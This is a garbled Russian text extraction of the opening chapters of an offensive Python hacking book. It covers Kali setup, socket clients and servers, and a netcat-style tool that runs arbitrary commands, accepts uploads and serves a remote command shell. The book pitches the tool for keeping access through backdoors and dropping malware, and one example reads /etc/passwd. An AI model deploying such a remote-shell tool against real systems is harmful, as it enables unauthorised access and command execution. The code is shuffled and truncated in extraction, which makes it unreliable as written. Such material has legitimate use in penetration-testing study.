Установка Kali Linux
Скачать 2.4 Mb.
|
ГЛАВА 1. Настройка рабочего окружения Это самая скучная, но очень важная часть книги, где мы рассмотрим настройку среды разработки на языке Python. Мы пройдем экспресс-курс по настройке виртуальной машины для Kali Linux и установке IDE, чтобы у вас было под рукой все, что нужно для разработки кода. Когда вы изучите эту главу, вы должны быть готовы поломать голову над упражнениями и примерами кода. Прежде чем мы начнем, скачайте и установите VM Ware Player [1]. Я бы также посоветовал иметь наготове какую-нибудь виртуальную машину на Windows, в том числе Windows XP и Windows 7, желательно 32-битную в обоих случаях. Установка Kali Linux Kali — это последователь дистрибутива BackTrack Linux, разработанный Offensive Security специально для тестирований на проникновение. Он идет с целым рядом заранее установленных инструментов и основан на Debian Linux, поэтому вы сможете установить самые разные дополнительные инструменты и библиотеки. Сначала скачиваем образ Kali VM по ссылке http://images.offensive-security.com/kali-linux 1.0.9-vm-i486.7z [2]. Разархивируем его. Имя пользователя по умолчанию root, пароль toor. После этого вы должны попасть прямо в среду рабочего стола, как показано на Рис. 1-1. Рис. 1-1. Среда рабочего стола Kali Linux Первое, что мы сделаем — убедимся, что у вас установлена правильная версия Python. В этой книге я описываю все действия для Python 2.7. В оболочке (Applications — Accessories - Terminal) выполните следующую команду: root@kali:# python --version Python 2.7.3 root@kali:# Если вы скачали именно тот образ, который я рекомендовал выше, то Python 2.7 будет установлен автоматически. Обратите внимание, что использование другой версии Python может привести к ошибкам в коде, которые есть в этой книге. Я вас предупредил. Теперь установим несколько полезных функций для пакета управления Python при помощи модуля easy_install и pip. Они очень похожи на менеджер пакетов apt , потому что они позволяют напрямую устанавливать библиотеки Python без ручного скачивания, распаковки и последующей установки. Давайте установим оба менеджера пакетов, выполнив следующие команды: root@kali:# : aptget install pythonsetuptools pythonpip Когда пакеты будут установлены, мы можем провести быстрый тест и установить модуль, который нам потребуется в Главе 7, чтобы создать троян на базе GitHub. Введите в терминале следующую командную строку: root@kali:# : pip install github3.py В терминале вы должны увидеть результат, указывающий на то, что библиотека скачивается и устанавливается. Перейдите в оболочку Python и проверьте правильность установки: root@kali:#: python Python 2.7.3 (default, Mar 14 2014, 11:57:14) [GCC 4.7.2] on linux2 Введите "help", "copyright", "credits"или "license" для более подробной информации. >>> import github3 >>> exit() Если ваши результаты отличаются от того, что указано здесь, то в вашей рабочей среде Python неверная конфигурация. В этом случае, проверьте еще раз все шаги и убедитесь, что у вас стоит правильная версия Kali. Имейте в виду, что для большинства примеров из этой книги, вы можете разработать свой код для разных рабочих сред, в том числе Mac, Linux и Windows. Некоторые главы ориентированы, преимущественно, на Windows, об этом я сообщаю в самом начале главы. Итак, у нас установлена и настроена виртуальная машина, теперь давайте установим Python IDE (интегрированная среда разработки) для Python. WingIDE Обычно я не продвигаю никакие коммерческие программы, но WingIDE — это, действительно, лучшая IDE, которой я пользовался последние 7 лет. WingIDE имеет все базовые функции, такие как автозаполнение и объяснение параметров функций. Однако, что ее отличает от других IDE — возможность отладки. Я кратко расскажу о коммерческой версии WingIDE, но, конечно, вы можете выбрать для себя любую версию [3]. Найти WingIDE можно по ссылке http://www.wingware.com/ , и я рекомендую вам установить пробную версию, чтобы вы смогли сами изучить все доступные функции в коммерческой версии. Вы можете заниматься разработкой на любой платформе, но для начала лучше всего устанавливать WingIDE на виртуальной машине Kali. Если вы следовали всем моим предыдущим инструкциям, то теперь скачайте 32-битный . deb пакет для WingIDE и сохраните его в директорию пользователя. Затем переходите в терминал и запустите следующую команду: root@kali:# dpkg i wingide5_5.0.91_i386.deb После этого, у вас должна установиться WingIDE, как и запланировано. Если при установке возникли ошибки, то, возможно, есть какие-то неразрешимые зависимости. В этом случае, запустите: root@kali:# aptget f install Все отсутствующие зависимости должны восстановиться, и WingIDE должен нормально установиться. Чтобы убедиться, что вы все правильно установили, посмотрите, есть ли у вас доступ, как показано на Рис. 1-2. Рис. 1-2. Доступ к WingIDE из среды рабочего стола Kali. Запустите WingIDE и откройте новый пустой файл Python. Быстро изучите основные полезные функции. Для новичков, экран будет выглядеть, как на Рис. 1-3, где область редактирования главного кода находится в верхней левой части экрана, а вкладки — внизу. Рис. 1-3. Основная раскладка в окне WingIDE. Давайте попробуем написать простой код, чтобы наглядно посмотреть на полезные функции WingIDE, в том числе вкладки Debug Probe и Stack Data. В редактор вбейте: def sum(number_one,number_two): number_one_int = convert_integer(number_one) number_two_int = convert_integer(number_two) result = number_one_int + number_two_int return result def convert_integer(number_string): converted_integer = int(number_string) return converted_integer answer = sum("1","2") Это очень надуманный пример, но он отлично демонстрирует то, насколько WingIDE может облегчить вам жизнь. Сохраните это под любым именем, нажмите на меню Debug и выберите опцию Select Current as Main Debug File (выбрать как главный файл отладки), как показано на Рис. 1-4. Рис. 1-4. Настройка текущего скрипта Python для отладки. Установите точку останова на строке кода: return converted_integer Это можно сделать, щелкнув на левое поле или нажав на клавишу F9. Вы увидите маленькую красную точку, которая появится на поле. Теперь запустите скрипт нажатием на клавишу F5 и в точке останова запуск должен остановиться. Нажмите на вкладку Stack Data и вы увидите экран, как на Рисунке 1-5. Вкладка Stack Data показывает полезную информацию, такую как состояние локальной и глобальной переменных в момент установки точки останова. Это позволяет добиваться отладки более сложного кода, когда вам нужно проверить переменные во время выполнения для отслеживания багов. Если вы нажмете на выпадающий список, вы также увидите текущий стек вызовов, который покажет, какие функции вызвали функцию, в которой вы сейчас работаете. Посмотрите на Рис. 1-6, чтобы увидеть трассировку стека (stack trace). Рис. 1-5. Стек после установки точки останова. Рис. 1-6. Текущая трассировка стека. Мы видим, что convert_integer был вызван функцией sum в строке 3 скрипта Python. Это очень полезно, если у вас есть вызовы рекурсивной функции или функция, которая вызывается из множества разных мест. Изучая Python, очень полезно научиться пользоваться вкладкой Stack Data! Еще одна главная функция — это вкладка Debug Probe. Через эту вкладку вы можете перейти в оболочку Python, которая запущена в текущем контексте в тот момент, когда вы задавали точку останова. Это дает вам возможность проверять и модифицировать переменные, а также писать небольшие сниппеты кода, чтобы пробовать новые идеи или устранять проблемы. На Рис.1-7 показано, как можно проверять переменную convert_integer и изменять ее значение. Рис. 1-7. Использование Debug Probe для проверки и модификации локальной переменной. После того как вы сделали модификацию, вы можете возобновить выполнение скрипта, нажав F5. Хотя это очень простой пример, он наглядно демонстрирует некоторые полезные функции WingIDE для разработки и отладки скриптов на Python [4]. Это все, что нам нужно для того, чтобы начать разрабатывать код. Не забудьте, ваша виртуальная машина должна быть готова, когда в некоторых главах будут описываться действия для Windows. Конечно, использование «родного железа» также не должно представлять никаких проблем. Ну что же, теперь перейдем к делу! [1] Вы можете скачать VMWare Player по ссылке http://www.vmware.com/ [2] Кликабельные ссылки из этой главы можно найти на http://nostarch.com/blackhatpython/ [3] Для сравнения функций в разных версиях, перейдите по ссылке https://wingware.com/wingide/features/ [4] Если вы уже используете IDE, которое имеет аналогичные характеристики, как у WingIDE, напишите мне на мою электронную почту или в Twitter. Я хочу об этом услышать! Глава 2. Сеть: основы Сеть всегда была и будет самой желанной областью для хакера. Имея доступ в сеть, открываются большие возможности, такие как сканирование хостов, внедрение пакетов, просмотр и анализ данных, удаленное использование хоста и многое другое. Но если вы взломщик, который уже смог пробраться в самые глубины, то вы можете оказаться в парадоксальной ситуации, а именно столкнуться с отсутствием инструментов для атаки на сеть. Нет netcat. Нет Wireshark. Нет компилятора и возможности его установить. Однако во многих случаях вы с удивлением обнаружите, что можно установить Python и именно отсюда все начинается. В этой главе мы обсудим основы сетевой конфигурации Python, используя модуль socket [5]. Мы также создадим клиенты, сервера и TCP прокси- сервер. Затем мы превратим это все в нашу собственную netcat утилиту и завершим командной оболочкой. Эта глава является своего рода фундаментом для последующих глав, в которых мы будем создавать инструмент обнаружения хоста, внедрять кросс-платформенные снифферы и создавать модель трояна удаленного доступа. Давайте приступим. Сетевое программирование на Python в одном параграфе Программисты имеют в своем распоряжении сторонние инструменты для создания сетевых серверов и клиентов на Python, но ключевой модуль для всех этих инструментов — socket. Этот модуль имеет все необходимое для быстрого написания TCP и UDP клиентов и серверов, использования сырых сокетов и т. д. Для того чтобы взломать или не потерять доступ к целевой машине, этот модуль — все, что вам будет нужно. Давайте попробуем сначала создать простые клиенты и серверы: напишем самые распространенные сетевые скрипты. TCP клиент Несколько раз во время тестов на проникновением мне требовался TCP клиент, чтобы тестировать различные сервисы, проводить сборку мусора данных, случайное тестирование и ряд других задач. Если вы работаете в условиях крупного предприятия, то у вас не будет такой роскоши, как инструменты для сетевого программирования или компиляторы. Иногда вам даже будет не хватать абсолютно базовых функций, таких как копировать/вставить или установить соединение с Интернетом. Вот здесь и приходит на помощь TCP клиент. Но достаточно рассуждений, переходим к написанию кода. Это простой TCP клиен. import socket target_host = "www.google.com" target_port = 80 # create a socket object client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ➊ # connect the client client.connect((target_host,target_port)) ➋ # send some data client.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") ➌ # receive some data response = client.recv(4096) ➍ print response Сначала мы создаем объект сокета при помощи параметров AF_INET и SOCK_STREAM ➊ Параметр AF_INET указывает, что мы будем использовать стандартный IPv4 адрес или имя хоста, а SOCK_STREAM указывает, что это будет TCP клиент. Затем мы соединяем клиент с сервером и посылаем некоторые данные . Последний шаг — получение данных обратно ➋ ➌ и распечатка ответа . Это простейшая форма TCP клиента, но именно ее вы будете писать ➍ чаще всего. В сниппете кода выше мы делаем серьезные предположения о сокетах, о которых вам совершенно определенно нужно знать. Первое предположение заключается в том, что наше соединение всегда будет удачным, а второе — сервер всегда ожидает, что мы первые будет посылать данные (в отличие от серверов, которые первыми посылают данные и ждут вашего ответа). Наше третье предположение заключается в том, что сервер всегда всегда будет отсылать данные обратно своевременно. Мы сделали эти предположения для упрощения задачи. Программисты по-разному относятся к тому, как работать с блокирующими сокетами,исключениями и подобным, пентестеры очень редко занимаются этими тонкостями во время рекона и эксплуатации уязвимостей, поэтому мы опустим эти моменты в данной главе. UDP клиент UDP клиент в Python не сильно отличается от TCP клиента, и нам нужно внести всего два небольших изменения, чтобы отправить пакеты в форме UDP. import socket target_host = "127.0.0.1" target_port = 80 # create a socket object client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ➊ # send some data client.sendto("AAABBBCCC",(target_host,target_port)) ➋ # receive some data data, addr = client.recvfrom(4096) ➌ print data Как видите, мы изменили тип сокета на SOCK_DGRAM , создавая объект сокета. ➊ Следующий шаг — вызвать sendto() , передать данные и отправить на нужный вам ➋ сервер. Так как UDP — это протокол без установления соединения, то мы не можем заранее вызвать connect() . Последний шаг - recvfrom() . Он нужен, чтобы вернуть обратно ➌ данные UDP. Вы также заметите, что он возвращает как данные, так и детали удаленного хоста и порта. Еще раз повторю, мы не ставим своей целью стать супер продвинутыми сетевыми программистами. Нам просто нужен быстрый, простой и надежный способ решать ежедневные хакерские задачи. Давайте теперь перейдем к созданию простых серверов. TCP сервер Создание TCP сервера на языке Python — так же просто, как и создание клиента. Возможно, вы захотите использовать свой собственный TCP сервер для написания командных оболочек или создания прокси (и тем, и другим мы займемся позже). Давайте начнем с создания стандартного многопоточного сервера. Быстро пишем код: import socket import threading bind_ip = "0.0.0.0" bind_port = 9999 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((bind_ip,bind_port)) ➊ server.listen(5) ➋ print "[*] Listening on %s:%d" % (bind_ip,bind_port) # this is our clienthandling thread def handle_client(client_socket): ➌ # print out what the client sends request = client_socket.recv(1024) print "[*] Received: %s" % request # send back a packet client_socket.send("ACK!") client_socket.close() while True: client,addr = server.accept() ➍ print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1]) # spin up our client thread to handle incoming data client_handler = threading.Thread(target=handle_client,args=(client,)) ➎ client_handler.start() Для начала мы передаем IP-адрес и порт, который сервер будет прослушивать . Затем мы ➊ даем серверу задание начать прослушивание с максимальной очередью (backlog) ➋ соединений, заданной на 5. Затем мы запускаем главный цикл, где сервер будет ждать входящие соединения. Когда происходит соединение клиента , мы получаем сокет клиента ➍ в переменной client и детали удаленного соединения в переменной addr . Затем мы создаем новый объект потока, который указывает на нашу функцию handle_client и передаем объект сокета как аргумент. Далее мы запускаем поток, чтобы установить соединение клиента , и наш главный цикл готов к обработке другого входящего ➎ соединения. Функция handle_client выполняет ➌ recv() и затем отправляет простое сообщение обратно клиенту. Если вы используете TCP клиент, который мы создали ранее, то вы можете передать тестовые Замена Netcat Netcat — это утилита, которая получила название «швейцарский нож». Неудивительно, что продуманные системные администраторы удаляют ее из своих систем. Я не раз сталкивался с тем, что на серверах не установлена netcat, но есть Python. В таких случаях, полезно создавать простой сетевой клиент и сервер, который вы будете использовать для отправки файлов или для работы прослушивателя, который даст доступ к командной строке. Если вы используете веб-приложение, то определенно стоит отказаться от обратного вызова на Python, чтобы получить доступ второй раз без удаления своих троянов и бэкдоров. К тому же, создание такого инструменты — это полезное упражнение, поэтому давайте начнем.. import sys import socket import getopt import threading import subprocess # define some global variables listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0 Здесь мы просто импортируем все необходимые библиотеки и устанавливаем глобальные переменные. Пока ничего сложного. А теперь давайте создадим нашу главную функцию, которая будет нести ответственность за управление аргументами командной строки и вызовы остальных функций. def usage(): ➊ print "BHP Net Tool" print print "Usage: bhpnet.py t target_host p port" print "l listen listen on [host]:[port] for ncoming connections" print "e execute=file_to_run execute the given file upon receiving a connection" print "c command initialize a command shell" print "u upload=destination upon receiving connection upload a file and write to [destination]" print print print "Examples: " print "bhpnet.py t 192.168.0.1 p 5555 l c" print "bhpnet.py t 192.168.0.1 p 5555 l u=c:\\target.exe" print "bhpnet.py t 192.168.0.1 p 5555 l e=\"cat /etc/passwd\"" print "echo 'ABCDEFGHI' | ./bhpnet.py t 192.168.11.12 p 135" sys.exit(0) defmain(): global listen global port global execute # run the command and get the output back try: ➊ output = subprocess.check_output(command,stderr=subprocess. STDOUT, shell=True) except: output = "Failed to execute command.\r\n" # send the output back to the client return output К этому моменту вы уже должны мастерски создавать TCP сервера с потоками, поэтому я не буду подробно останавливаться на функции server_loop . Функция run_command , однако, содержит новую библиотеку subprocess . Она обеспечивает мощный интерфейс создания процесса, который предоставляет целый ряд способов запускать и взаимодействовать с клиентскими программами. В этом случае , мы просто запускаем ➊ любую команду, которую передаем, запускаем ее на локальной операционной системе и возвращаем исходящие данные от команды клиенту, подключенному к нам. Код, обрабатывающий исключения, поймает общие ошибки и вернет сообщение, в котором будет сказано, что команду выполнить не удалось. defclient_handler(client_socket): global upload global execute global command # check for upload ➊ if len(upload_destination): # read in all of the bytes and write to our destination file_buffer = "" # keep reading data until none is available ➋ while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data # now we take these bytes and try to write them out ➌ try: file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) file_descriptor.close() # acknowledge that we wrote the file out client_socket.send("Successfully saved file to %s\r\n" % upload_destination) except: client_socket.send("Failed to save file to %s\r\n" % upload_destination) # check for command execution if len(execute): # run the command Теперь давайте немного поиграем с кодом, чтобы увидеть выходные данные. В терминале или оболочке cmd.exe запустите такой скрипт: justin$ ./bhnet.py l p 9999 c Теперь вы можете открыть другой терминал или cmd.exe и запустить наш скрипт в клиентском режиме. Не забывайте, что наш скрипт читается из stdin и так будет, пока не будет обнаружен маркер EOF (конец файла). Для ввода EOF, на клавиатуре нажмите CTRL-D: justin$ ./bhnet.py t localhost p 9999 drwxrxrx 4 justin staff 136 18 Dec 19:45 . drwxrxrx 4 justin staff 136 9 Dec 18:09 .. rwxrwxrwt 1 justin staff 8498 19 Dec 06:38 bhnet.py rwrr 1 justin staff 844 10 Dec 09:34 listing13.py /Users/justin/svn/BHP/code/Chapter2 Вы видите, что мы получили обратно нашу командную оболочку, а так как мы находимся на Unix-хосте, то мы можем запустить некоторые локальные команды и получить обратно выходные данные, так как мы подключались по SSH. Мы также можем использовать клиент, чтобы отправлять свои запросы старым добрым способом: justin$ echo ne "GET / HTTP/1.1\r\nHost: www.google.com\r\n\r\n" | ./bhnet. py t www.google.com p 80 HTTP/1.1 302 Found Location: http://www.google.ca/ CacheControl: private ContentType: text/html; charset=UTF8 P3P: CP="This is not a P3P policy! See http://www.google.com/support/ accounts/bin/answer.py?hl=en&answer=151657 for more info." Date: Wed, 19 Dec 2012 13:22:55 GMT Server: gws ContentLength: 218 XXSSProtection: 1; mode=block XFrameOptions: SAMEORIGIN |
[*] Listening on 0.0.0.0:9999
[*] Accepted connection from: 127.0.0.1:62512
[*] Received: ABCDEF
Вот и все! Довольно просто, но это очень полезная часть кода, который увеличится, когда мы будем создавать замену netcat и TCP прокси.
usage()
# read the commandline options
➋
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",
["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("h","help"):
usage()
elif o in ("l","listen"):
listen = True elif o in ("e", "execute"):
execute = a elif o in ("c", "commandshell"):
command = True elif o in ("u", "upload"):
upload_destination = a elif o in ("t", "target"):
target = a elif o in ("p", "port"):
port = int(a)
else:
assert False,"Unhandled Option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port > 0:
➌
# read in the buffer from the commandline
# this will block, so send CTRLD if not sending input
# to stdin buffer = sys.stdin.read()
# send data off client_sender(buffer)
# we are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above if listen:
server_loop()
➍
main()
Мы начинаем с чтения всех опций командной строки
➋ и задаем необходимые переменные,
в зависимости от обнаруженных нами опций. Если любой из параметров командной строки не соответствует нашим критериям, то мы распечатываем полезную информацию .
➊ В следующем блоке кода ,
➌ мы пытаемся имитировать netcat, чтобы считать данные из stdin и отправить их по сети. Если вы планируете отправлять данные интерактивно, вам потребуется запустить команду CTRL-D, чтобы обойти чтение из stdin. В последней части , мы должны
➍
настроить прослушивающий сокет и обработать дальнейшие команды (загрузить файл, выполнить команду, запустить командную оболочку).
Теперь давайте испытаем некоторые функции и начнем мы с кода клиента. Добавьте следующий код выше нашей функции main def client_sender(buffer):
try:
# connect to our target host client.connect((target,port))
➊
client.send(buffer)
while True:
# now wait for data back recv_len = 1
response = ""
while recv_len:
➋
data = client.recv(4096)
recv_len = len(data)
response+= data if recv_len < 4096:
break print response,
# wait for more input
➌
buffer = raw_input("")
buffer += "\n"
# send it off client.send(buffer)
except:
print "[*] Exception! Exiting."
# tear down the connection client.close()
Большая часть кода должна быть вам уже хорошо знакома. Мы начинаем с настройки нашего объекта TCP сокета, затем проводим тестирование , чтобы посмотреть, получили ли мы
➊
какие-то входные данные из stdin. Если все хорошо, мы отправляем данные к удаленной цели и получаем данные обратно , до тех пор пока больше не останется данных. Затем мы ждем
➋
дальнейших входных данных от пользователя и продолжаем отправлять и получать
➌
данные, пока пользователь не убьет скрипт. Дополнительный перенос строки в пользовательских данных необходим, чтобы наш клиент был совместим с нашей командной оболочкой. Мы продолжаем и теперь создаем наш главный цикл сервера и заглушку, которая будет работать как с выполнением нашей команды, так и со всей командной оболочкой. defserver_loop():
global target
# if no target is defined, we listen on all interfaces if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin off a thread to handle our new client
args=(client_socket,))
client_thread.start()
def run_command(command):
# trim the newline command = command.rstrip()
client_socket.send(output)
# now we go into another loop if a command shell was requested
➍
while True:
# show a simple prompt client_socket.send("
# now we receive until we see a linefeed
(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send back the command output response = run_command(cmd_buffer)
# send back the response client_socket.send(response)
Первая часть кода определяет, настроен ли наш сетевой инструмент на получение файла
➊
после установки соединения. Это может быть полезно для упражнений на тренировку загрузки и выполнения команд или для установки вредоносной программы для удаления обратного вызова на Python. Сначала мы получаем файловые данные в цикле , чтобы
➋
убедиться, что у нас они все есть, затем мы просто открываем дескриптор файла и считываем его содержимое. Флажок wb позволяет нам убедиться, что мы пишем файл в бинарном режиме, следовательно загрузка и запись загрузочного двоичного кода будет успешной. Затем мы используем функцию , которая вызывает ранее написанную функцию
➌
run_command и
просто посылает результаты обратно по сети. Последняя часть кода работает с нашей командной оболочкой ; она продолжает выполнять команды, когда мы их посылаем и
➍
возвращает выходные данные. Вы заметите, что происходит сканирование символов новой строки для определения того, когда нужно обработать команду. Благодаря этому, код адаптируется к netcat. Однако, если вы устанавливаете связь с клиентом Python, чтобы с ним общаться, тогда добавьте символ новой строки.